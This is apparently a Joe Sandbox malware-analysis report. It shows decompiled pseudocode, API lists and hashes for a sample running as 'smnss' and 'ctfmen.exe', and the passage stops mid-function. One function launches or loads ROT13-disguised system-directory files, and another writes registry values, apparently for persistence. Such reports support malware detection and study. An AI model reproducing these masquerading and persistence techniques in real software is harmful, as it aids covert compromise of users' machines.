Opcode ID: 9b9ff90298bf6fb1a175ed6403cba69dd8b60486c6b5008e2fa60c792a056c04
Instruction ID: 761182c28210547fcfec4951540a2b2b9fde320736257bd646c4dd079449f565
Opcode Fuzzy Hash: 9b9ff90298bf6fb1a175ed6403cba69dd8b60486c6b5008e2fa60c792a056c04
Instruction Fuzzy Hash: D401EDF08097149AC710BF65D58529EBFF4EF84758F01886EF5C827281C7B95588CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0040B740 Relevance: 6.4, APIs: 5, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E0040B740(intOrPtr* _a4) {
				void* _v16;
				void* _v20;
				void* _v24;
				void** _v40;
				intOrPtr* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				void* __ebx;
				void* __esi;
				intOrPtr _t37;
				long _t39;
				void* _t40;
				void* _t41;
				void* _t43;
				void* _t47;
				void* _t58;
				void** _t61;
				void* _t62;
				intOrPtr* _t64;
				void* _t68;
				intOrPtr* _t72;
				intOrPtr* _t76;
				long* _t77;

				_t37 =  *0x418284;
				_t72 = _a4;
				if(_t37 == 0) {
					E0040B0E0(_t37);
					_t37 =  *0x418284;
					if( *((intOrPtr*)(_t37 + 0x30)) >= 0) {
						goto L2;
					} else {
						goto L18;
					}
					L8:
					if(_t68 == 5) {
						return 5;
					} else {
						if(_t68 != 0) {
							L13:
							_t43 = 3;
							goto L14;
						} else {
							if(_t64 == 0) {
								L5:
								_t41 =  *_v24;
								_v24 = _t41;
								while(1) {
									L6:
									_t64 = 0;
									_t68 = 5;
									if(_t41 != 0) {
										_t64 =  *((intOrPtr*)(_t41 + 0x18));
										_t68 = 0;
									}
									goto L8;
								}
							} else {
								_v40 = _t61;
								_v44 = _t72;
								 *_t76 = 1;
								_v52 =  *_t72;
								_v48 =  *((intOrPtr*)(_t72 + 4));
								_v56 = 1;
								_t47 =  *_t64();
								if(1 == 6) {
									 *((intOrPtr*)(_t72 + 0xc)) = 0;
									 *((intOrPtr*)(_t72 + 0x10)) = _v24;
									_v24 = _v20;
									_t43 = E0040B6B0(_t72, _t61);
									if(_t43 == 7) {
										_t51 =  *0x418284;
										_t62 = _v24;
										if(_t51 == 0) {
											E0040B0E0(_t51);
											_t51 =  *0x418284;
										}
										if( *(_t51 + 0x30) < 0) {
											E0040B3B0(_t62, _t74);
											_t51 =  *0x418284;
										}
										_t74 =  *(_t51 + 0x30);
										if( *(_t51 + 0x30) != 0) {
											_v56 = _t62;
											 *_t76 =  *((intOrPtr*)(_t51 + 0x2c));
											if(TlsSetValue(??, ??) == 0) {
												GetLastError();
											}
										} else {
											 *((intOrPtr*)(_t51 + 0x28)) = _t62;
										}
										_t51 = _v24;
										_t76 =  *((intOrPtr*)(_v24 + 0x28));
										goto __ecx;
									}
									L14:
									return _t43;
								} else {
									if(_t47 == 8) {
										goto L5;
									} else {
										goto L13;
									}
								}
							}
						}
					}
				} else {
					if( *((intOrPtr*)(_t37 + 0x30)) < 0) {
						L18:
						E0040B3B0(_t58, _t74);
						_t37 =  *0x418284;
					}
				}
				L2:
				if( *((intOrPtr*)(_t37 + 0x30)) != 0) {
					_t39 = GetLastError();
					 *_t76 =  *((intOrPtr*)(_t37 + 0x2c));
					_t74 = _t39;
					_t40 = TlsGetValue(??);
					_t77 = _t76 - 4;
					 *_t77 = _t39;
					SetLastError(??);
					_t41 = _t40;
					_t76 = _t77 - 4;
				} else {
					_t41 =  *(_t37 + 0x28);
				}
				_v20 = _t41;
				_t61 =  &_v24;
				_v24 = _t41;
				goto L6;
			}

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93a37cc761da05d28123ec6793a1aa2a7504f56957f8d3d69b3e88f2f85eb7ef
Instruction ID: 45d732202371662b8addf3eaaaff00240ebc5fc11857fefe16626fd26bfd471c
Opcode Fuzzy Hash: 93a37cc761da05d28123ec6793a1aa2a7504f56957f8d3d69b3e88f2f85eb7ef
Instruction Fuzzy Hash: C4413A75A002058FCB44EF69D684A6AB7F5FB88310F15857ED805AB3A1D738ED01CBDA

Uniqueness

Uniqueness Score: -1.00%

Function 0040B9C0 Relevance: 6.4, APIs: 5, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040B9C0(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v40;
				intOrPtr _t39;
				long _t41;
				void* _t42;
				void* _t43;
				void* _t47;
				void* _t54;
				void* _t64;
				intOrPtr _t73;
				intOrPtr* _t79;
				long* _t80;

				_t59 = __ebx;
				_v8 = __edi;
				_t73 = _a4;
				_v16 = __ebx;
				_v12 = __esi;
				_t39 =  *0x418284;
				if(_t39 == 0) {
					E0040B0E0(_t39);
					_t39 =  *0x418284;
					_t76 =  *(_t39 + 0x30);
					if( *(_t39 + 0x30) >= 0) {
						L2:
						if( *(_t39 + 0x30) != 0) {
							L9:
							_t41 = GetLastError();
							 *_t79 =  *((intOrPtr*)(_t39 + 0x2c));
							_t76 = _t41;
							_t42 = TlsGetValue(??);
							_t80 = _t79 - 4;
							 *_t80 = _t41;
							SetLastError(??);
							_t43 = _t42;
							_v20 = _t43;
							_v24 = _t43;
							_t79 = _t80 - 4;
							 *((intOrPtr*)(_t73 + 0xc)) = _a8;
							 *((intOrPtr*)(_t73 + 0x10)) = _a12;
							_t47 = E0040B8D0(_t73,  &_v24);
							if(_t47 != 7) {
								L4:
								return _t47;
							}
							L11:
							_t48 =  *0x418284;
							_t64 = _v24;
							if(_t48 == 0) {
								E0040B0E0(_t48);
								_t48 =  *0x418284;
							}
							if( *((intOrPtr*)(_t48 + 0x30)) < 0) {
								E0040B3B0(_t64, _t76);
								_t48 =  *0x418284;
							}
							if( *((intOrPtr*)(_t48 + 0x30)) != 0) {
								_v40 = _t64;
								 *_t79 =  *((intOrPtr*)(_t48 + 0x2c));
								if(TlsSetValue(??, ??) == 0) {
									GetLastError();
								}
							} else {
								 *((intOrPtr*)(_t48 + 0x28)) = _t64;
							}
							_t48 = _v24;
							_t79 =  *((intOrPtr*)(_v24 + 0x28));
							goto __ecx;
						}
						L3:
						_t54 =  *(_t39 + 0x28);
						_v20 = _t54;
						_v24 = _t54;
						 *((intOrPtr*)(_t73 + 0xc)) = _a8;
						 *((intOrPtr*)(_t73 + 0x10)) = _a12;
						_t47 = E0040B8D0(_t73,  &_v24);
						if(_t47 == 7) {
							goto L11;
						}
						goto L4;
					}
					L7:
					E0040B3B0(_t59, _t76);
					_t39 =  *0x418284;
					if( *(_t39 + 0x30) == 0) {
						goto L3;
					}
					goto L9;
				}
				_t76 =  *(_t39 + 0x30);
				if( *(_t39 + 0x30) < 0) {
					goto L7;
				}
				goto L2;
			}

APIs

GetLastError.KERNEL32 ref: 0040BA63
TlsGetValue.KERNEL32 ref: 0040BA6E
SetLastError.KERNEL32 ref: 0040BA7C
TlsSetValue.KERNEL32 ref: 0040BAE8
GetLastError.KERNEL32 ref: 0040BAF5

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: ErrorLast$Value
String ID:
API String ID: 1883355122-0
Opcode ID: 76128aff822269898b8914e3844feebccba58d7589f724bc458a13517587ad4f
Instruction ID: 23407aeb104a5e4d22db15432d45e4df2a3b4d44022ab58e5814b8ef13b66587
Opcode Fuzzy Hash: 76128aff822269898b8914e3844feebccba58d7589f724bc458a13517587ad4f
Instruction Fuzzy Hash: A341F8B4B006198FCB50DF69D58099ABBF4FF08310B1585BAD919AB351E734AD00CFDA

Uniqueness

Uniqueness Score: -1.00%

Function 004048E2 Relevance: 6.0, APIs: 4, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,00403C33), ref: 0040490E
RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00403C33), ref: 0040493C
RegSetValueExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404974
RegCloseKey.ADVAPI32 ref: 00404982

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: Open$CloseValue
String ID:
API String ID: 503941690-0
Opcode ID: 64a7c2170a8598c629de1f1ef6930b91c6947248a2fba3b3b579a1264ac83601
Instruction ID: d52cf87232b6bef55ae32812e2a2d770b7a0cdaf13e0b01d7b079ce95a9ef0d7
Opcode Fuzzy Hash: 64a7c2170a8598c629de1f1ef6930b91c6947248a2fba3b3b579a1264ac83601
Instruction Fuzzy Hash: 8711C2F0808305AFDB00EF69C18575EBBF4BB84358F40892EE88897241E378D6488F92

Uniqueness

Uniqueness Score: -1.00%

Function 0040B460 Relevance: 5.1, APIs: 4, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E0040B460(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, int _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				int _v24;
				void* _t20;
				long _t24;
				void* _t25;
				int _t28;
				intOrPtr _t38;
				int _t40;
				intOrPtr* _t49;
				long* _t50;

				_t43 = __esi;
				_t32 = __ebx;
				_v8 = __edi;
				_t40 = _a4;
				_v16 = __ebx;
				_v12 = __esi;
				_t38 =  *0x418284;
				if(_t38 == 0) {
					E0040B0E0(_t20);
					_t38 =  *0x418284;
					if( *((intOrPtr*)(_t38 + 0x30)) >= 0) {
						goto L2;
					} else {
						goto L7;
					}
				} else {
					if( *((intOrPtr*)(_t38 + 0x30)) < 0) {
						L7:
						E0040B3B0(_t32, _t43);
						_t38 =  *0x418284;
						if( *((intOrPtr*)(_t38 + 0x30)) == 0) {
							goto L3;
						} else {
							goto L9;
						}
					} else {
						L2:
						if( *((intOrPtr*)(_t38 + 0x30)) != 0) {
							L9:
							_t24 = GetLastError();
							 *_t49 =  *((intOrPtr*)(_t38 + 0x2c));
							_t25 = TlsGetValue(??);
							_t50 = _t49 - 4;
							 *_t50 = _t24;
							SetLastError(??);
							 *_t40 = _t25;
							_v24 = _t40;
							 *((intOrPtr*)(_t50 - 4)) =  *((intOrPtr*)( *0x418284 + 0x2c));
							_t28 = TlsSetValue(??, ??);
							if(_t28 == 0) {
								goto __ecx;
							}
						} else {
							L3:
							_t28 =  *(_t38 + 0x28);
							 *_t40 = _t28;
							 *(_t38 + 0x28) = _t40;
						}
					}
				}
				return _t28;
			}

APIs

GetLastError.KERNEL32(?,?,?,?,?,00405F1A), ref: 0040B4E3
TlsGetValue.KERNEL32(?,?,?,?,?,00405F1A), ref: 0040B4EE
SetLastError.KERNEL32(?,?,?,?,?,?,00405F1A), ref: 0040B4FC
TlsSetValue.KERNEL32(?,?,?,?,?,?,?,00405F1A), ref: 0040B516

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: ErrorLastValue
String ID:
API String ID: 1151882462-0
Opcode ID: 16660377808b608b832b0cbaea9d7365e9406ce6128743baf1b4238b0422be3c
Instruction ID: 439973a8ce157f22f3a963889ba98c70b340b09c43d7307190215458f466d12f
Opcode Fuzzy Hash: 16660377808b608b832b0cbaea9d7365e9406ce6128743baf1b4238b0422be3c
Instruction Fuzzy Hash: 8B210375A0060A9FCB40DF69DA8469ABBF4FF48310F1081AADC44A7352E734BE51CBC9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ctfmen.exePID: 5660, Parent PID: 5456COMMON

Execution Graph

Execution Coverage:	13.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	94
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401150 Relevance: 13.6, APIs: 9, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00401150() {
				char _v12;
				char _v16;
				char* _v32;
				intOrPtr _v36;
				char _v40;
				char _v44;
				char _t23;
				intOrPtr* _t25;
				void* _t35;
				void* _t36;
				intOrPtr _t38;
				void* _t39;
				signed int _t40;

				_v44 = E00401000; // executed
				SetUnhandledExceptionFilter(??); // executed
				_t40 = _t39 - 4;
				E004016C0(E004015C0(_t35, _t36));
				_v12 = 0;
				_v32 =  &_v12;
				 *_t40 = 0x404004;
				_v36 =  *0x402000;
				_v40 =  &_v16;
				_v44 = 0x404000;
				L00401A38();
				_t23 =  *0x404008;
				if(_t23 == 0) {
					L6:
					L00401A28();
					 *_t23 =  *0x402004;
					E00401590(_t23);
					_t40 = _t40 & 0xfffffff0;
					_t25 = E00401570();
					L00401A18();
					_v40 =  *_t25;
					_v44 =  *0x404000;
					 *_t40 =  *0x404004; // executed
					_t23 = E00401410(_t35); // executed
					L00401A10();
					 *_t40 = _t23; // executed
					ExitProcess(??); // executed
					L7:
					_v40 = _t23;
					_t23 =  *((intOrPtr*)( *0x405110 + 0x10));
					_v44 = _t23;
					L00401A30();
					_t38 =  *0x405110;
					L2:
					if(_t38 != 0xffffffe0) {
						_v40 =  *0x404008;
						_t23 =  *((intOrPtr*)( *0x405110 + 0x30));
						_v44 = _t23;
						L00401A30();
						_t38 =  *0x405110;
					}
					if(_t38 != 0xffffffc0) {
						_v40 =  *0x404008;
						_t23 =  *((intOrPtr*)( *0x405110 + 0x50));
						_v44 = _t23;
						L00401A30();
					}
					goto L6;
				}
				 *0x402004 = _t23;
				_t38 =  *0x405110;
				if(_t38 != 0) {
					goto L7;
				}
				goto L2;
			}

0x00401157
0x0040115e
0x00401163
0x0040116b
0x00401170
0x0040117a
0x00401183
0x0040118a
0x00401191
0x0040119a
0x0040119e
0x004011a3
0x004011aa
0x00401210
0x00401210
0x0040121b
0x0040121d
0x00401222
0x00401225
0x0040122a
0x00401231
0x0040123a
0x00401243
0x00401246
0x0040124d
0x00401252
0x00401255
0x00401260
0x00401260
0x00401269
0x0040126c
0x0040126f
0x00401274
0x004011bf
0x004011c2
0x004011c9
0x004011d2
0x004011d5
0x004011d8
0x004011dd
0x004011dd
0x004011e6
0x004011ed
0x004011f6
0x004011f9
0x004011fc
0x004011fc
0x00000000
0x004011e6
0x004011ac
0x004011b1
0x004011b9
0x00000000
0x00000000
0x00000000

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 0040115E
__getmainargs.MSVCRT ref: 0040119E
_setmode.MSVCRT ref: 004011D8
_setmode.MSVCRT ref: 004011FC
__p__fmode.MSVCRT ref: 00401210
__p__environ.MSVCRT ref: 0040122A
_cexit.MSVCRT ref: 0040124D
ExitProcess.KERNEL32 ref: 00401255
_setmode.MSVCRT ref: 0040126F

Memory Dump Source

Source File: 00000009.00000002.304610622.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.304595022.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304624504.0000000000403000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304637974.0000000000405000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304650728.0000000000407000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_ctfmen.jbxd

Similarity

API ID: _setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 3695137517-0
Opcode ID: 4a6b14afbb9335201329f32d80b7a7aa2d8db0052c7bcc995225129068e83828
Instruction ID: b4e4ad1f54ebbf9cbd81b67d73a179059569c9c22aa264126cd00cea7d8576b1
Opcode Fuzzy Hash: 4a6b14afbb9335201329f32d80b7a7aa2d8db0052c7bcc995225129068e83828
Instruction Fuzzy Hash: 3D31CCB4A157009FC700EF79D68561A77E0BB88344F41897EF695BB3A1D73898808F5E

Uniqueness

Uniqueness Score: -1.00%

Function 00401149 Relevance: 12.1, APIs: 8, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00401149() {
				char _v12;
				char _v16;
				char* _v32;
				intOrPtr _v36;
				char _v40;
				char _v44;
				char _t23;
				intOrPtr* _t25;
				_Unknown_base(*)()* _t34;
				void* _t36;
				void* _t37;
				intOrPtr _t39;
				void* _t42;
				signed int _t44;

				_v44 = E00401000; // executed
				SetUnhandledExceptionFilter(_t34); // executed
				_t44 = _t42 - 0x20;
				E004016C0(E004015C0(_t36, _t37));
				_v12 = 0;
				_v32 =  &_v12;
				 *_t44 = 0x404004;
				_v36 =  *0x402000;
				_v40 =  &_v16;
				_v44 = 0x404000;
				L00401A38();
				_t23 =  *0x404008;
				if(_t23 == 0) {
					L7:
					L00401A28();
					 *_t23 =  *0x402004;
					E00401590(_t23);
					_t44 = _t44 & 0xfffffff0;
					_t25 = E00401570();
					L00401A18();
					_v40 =  *_t25;
					_v44 =  *0x404000;
					 *_t44 =  *0x404004; // executed
					_t23 = E00401410(_t36); // executed
					L00401A10();
					 *_t44 = _t23; // executed
					ExitProcess(??); // executed
					goto L8;
				} else {
					 *0x402004 = _t23;
					_t39 =  *0x405110;
					if(_t39 != 0) {
						L8:
						_v40 = _t23;
						_t23 =  *((intOrPtr*)( *0x405110 + 0x10));
						_v44 = _t23;
						L00401A30();
						_t39 =  *0x405110;
					}
					if(_t39 != 0xffffffe0) {
						_v40 =  *0x404008;
						_t23 =  *((intOrPtr*)( *0x405110 + 0x30));
						_v44 = _t23;
						L00401A30();
						_t39 =  *0x405110;
					}
					if(_t39 != 0xffffffc0) {
						_v40 =  *0x404008;
						_t23 =  *((intOrPtr*)( *0x405110 + 0x50));
						_v44 = _t23;
						L00401A30();
					}
					goto L7;
				}
			}

0x00401157
0x0040115e
0x00401163
0x0040116b
0x00401170
0x0040117a
0x00401183
0x0040118a
0x00401191
0x0040119a
0x0040119e
0x004011a3
0x004011aa
0x00401210
0x00401210
0x0040121b
0x0040121d
0x00401222
0x00401225
0x0040122a
0x00401231
0x0040123a
0x00401243
0x00401246
0x0040124d
0x00401252
0x00401255
0x00000000
0x004011ac
0x004011ac
0x004011b1
0x004011b9
0x00401260
0x00401260
0x00401269
0x0040126c
0x0040126f
0x00401274
0x00401274
0x004011c2
0x004011c9
0x004011d2
0x004011d5
0x004011d8
0x004011dd
0x004011dd
0x004011e6
0x004011ed
0x004011f6
0x004011f9
0x004011fc
0x004011fc
0x00000000
0x004011e6

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 0040115E
__getmainargs.MSVCRT ref: 0040119E
_setmode.MSVCRT ref: 004011D8
_setmode.MSVCRT ref: 004011FC
__p__fmode.MSVCRT ref: 00401210
__p__environ.MSVCRT ref: 0040122A
_cexit.MSVCRT ref: 0040124D
ExitProcess.KERNEL32 ref: 00401255
_setmode.MSVCRT ref: 0040126F

Memory Dump Source

Source File: 00000009.00000002.304610622.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.304595022.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304624504.0000000000403000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304637974.0000000000405000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304650728.0000000000407000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_ctfmen.jbxd

Similarity

API ID: _setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 3695137517-0
Opcode ID: 709f0de60eb04450f0c9f3fd8be5254e618704319a97381d622a77c23d240c61
Instruction ID: 421bbcab5bcb8a1a5ed88441b19a121feb82d79bf90f0e60bb0b5e7d48326fb6
Opcode Fuzzy Hash: 709f0de60eb04450f0c9f3fd8be5254e618704319a97381d622a77c23d240c61
Instruction Fuzzy Hash: B421CAB4A157009FC700EF79D68561A77E0BB88348F41897EF695B73A1D73898808F5E

Uniqueness

Uniqueness Score: -1.00%

Function 00401410 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 63
sleepprocesslibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00401410(void* __ecx) {
				void* _v16;
				char _v224;
				char _v256;
				struct _PROCESS_INFORMATION _v272;
				short _v304;
				intOrPtr _v308;
				int _v352;
				int _t16;
				struct _STARTUPINFOA* _t23;
				CHAR* _t26;

				_t25 =  &_v256;
				_t26 =  &_v224;
				_t23 =  &_v352;
				E00401570();
				E004013A2( &_v256, "fzaff.rkr");
				E004013CC(_t26, 0xc8,  &_v256);
				memset(_t23, 0, 0x44);
				_v352 = 0x44;
				_v308 = 1;
				_v304 = 5;
				_t16 = CreateProcessA(0, _t26, 0, 0, 0, 0, 0, 0, _t23,  &_v272); // executed
				if(_t16 != 0) {
					CloseHandle(_v272.hThread);
					CloseHandle(_v272);
				} else {
					E004013A2(_t25, "fureinaf.qyy");
					E004013CC(_t26, 0xc8, _t25);
					LoadLibraryA(_t26);
					Sleep(0xbb8);
				}
				return 0;
			}

0x00401414
0x0040141b
0x00401428
0x0040142e
0x00401439
0x00401445
0x0040144f
0x00401454
0x00401478
0x00401482
0x0040148b
0x00401492
0x004014c6
0x004014d1
0x00401494
0x0040149a
0x004014a6
0x004014ac
0x004014b6
0x004014bb
0x004014df

APIs

Part of subcall function 004013CC: GetSystemDirectoryA.KERNEL32(?,?), ref: 004013E2
Part of subcall function 004013CC: lstrlen.KERNEL32(?,?,?,?,0040144A,?,000000C8,?,?,fzaff.rkr), ref: 004013E8
Part of subcall function 004013CC: lstrcat.KERNEL32(?,00403036), ref: 004013FA
Part of subcall function 004013CC: lstrcat.KERNEL32(?,000000C8), ref: 00401403

memset.MSVCRT ref: 0040144F
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0040148B
LoadLibraryA.KERNEL32(?,?,000000C8,?,?,fureinaf.qyy,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 004014AC
Sleep.KERNEL32(00000BB8,?,?,000000C8,?,?,fureinaf.qyy,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 004014B6
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 004014C6
CloseHandle.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 004014D1

Strings

fzaff.rkr, xrefs: 00401433
D, xrefs: 00401454
fureinaf.qyy, xrefs: 00401494

Memory Dump Source

Source File: 00000009.00000002.304610622.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.304595022.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304624504.0000000000403000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304637974.0000000000405000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304650728.0000000000407000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_ctfmen.jbxd

Similarity

API ID: CloseHandlelstrcat$CreateDirectoryLibraryLoadProcessSleepSystemlstrlenmemset
String ID: D$fureinaf.qyy$fzaff.rkr
API String ID: 2342358475-843627415
Opcode ID: 4726f803edde29433d8ee108cabd3ca17cc547d924d72f493488a07b61c88d33
Instruction ID: 94c7f4a56ebdde8ab0fd0faed4419e19204ddf4c58d1c27792508de29747b16a
Opcode Fuzzy Hash: 4726f803edde29433d8ee108cabd3ca17cc547d924d72f493488a07b61c88d33
Instruction Fuzzy Hash: 7711C271A41218B9E72077628C42FDF767C9F51749F4041BAFA08350E2D7BC1A444EAD

Uniqueness

Uniqueness Score: -1.00%

Function 00401280 Relevance: 3.0, APIs: 2, Instructions: 16
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 23%

			E00401280() {
				void* _t4;
				intOrPtr* _t5;
				intOrPtr* _t8;

				 *_t8 = 1;
				 *0x405108();
				E00401150();
				_t5 = _t8;
				 *((intOrPtr*)(_t8 - 8)) = 2;
				 *0x405108(_t4); // executed
				E00401150(); // executed
				_push(_t5);
				goto __ecx;
			}

0x00401286
0x0040128d
0x00401293
0x004012a1
0x004012a6
0x004012ad
0x004012b3
0x004012c0
0x004012ca

APIs

__set_app_type.MSVCRT ref: 0040128D

Part of subcall function 00401150: SetUnhandledExceptionFilter.KERNEL32 ref: 0040115E
Part of subcall function 00401150: __getmainargs.MSVCRT ref: 0040119E
Part of subcall function 00401150: _setmode.MSVCRT ref: 004011D8
Part of subcall function 00401150: _setmode.MSVCRT ref: 004011FC
Part of subcall function 00401150: __p__fmode.MSVCRT ref: 00401210
Part of subcall function 00401150: __p__environ.MSVCRT ref: 0040122A
Part of subcall function 00401150: _cexit.MSVCRT ref: 0040124D
Part of subcall function 00401150: ExitProcess.KERNEL32 ref: 00401255

__set_app_type.MSVCRT ref: 004012AD

Memory Dump Source

Source File: 00000009.00000002.304610622.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.304595022.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304624504.0000000000403000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304637974.0000000000405000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304650728.0000000000407000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_ctfmen.jbxd

Similarity

API ID: __set_app_type_setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 570162737-0
Opcode ID: e8091d8bd3bffb70673248e43d8af242892c9b374757f3d7f013d3735d48378c
Instruction ID: 5c8ab284ea271eea037cec49ac7268bd5119de4b4cd77f8206c36f2d19225082
Opcode Fuzzy Hash: e8091d8bd3bffb70673248e43d8af242892c9b374757f3d7f013d3735d48378c
Instruction Fuzzy Hash: 5AD09B35404614ABC3003BF5DD0A359BBA8AB05301F41143CE6C577261D7B438454BD6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004012E0 Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E004012E0(void* __eax) {
				void* _v20;
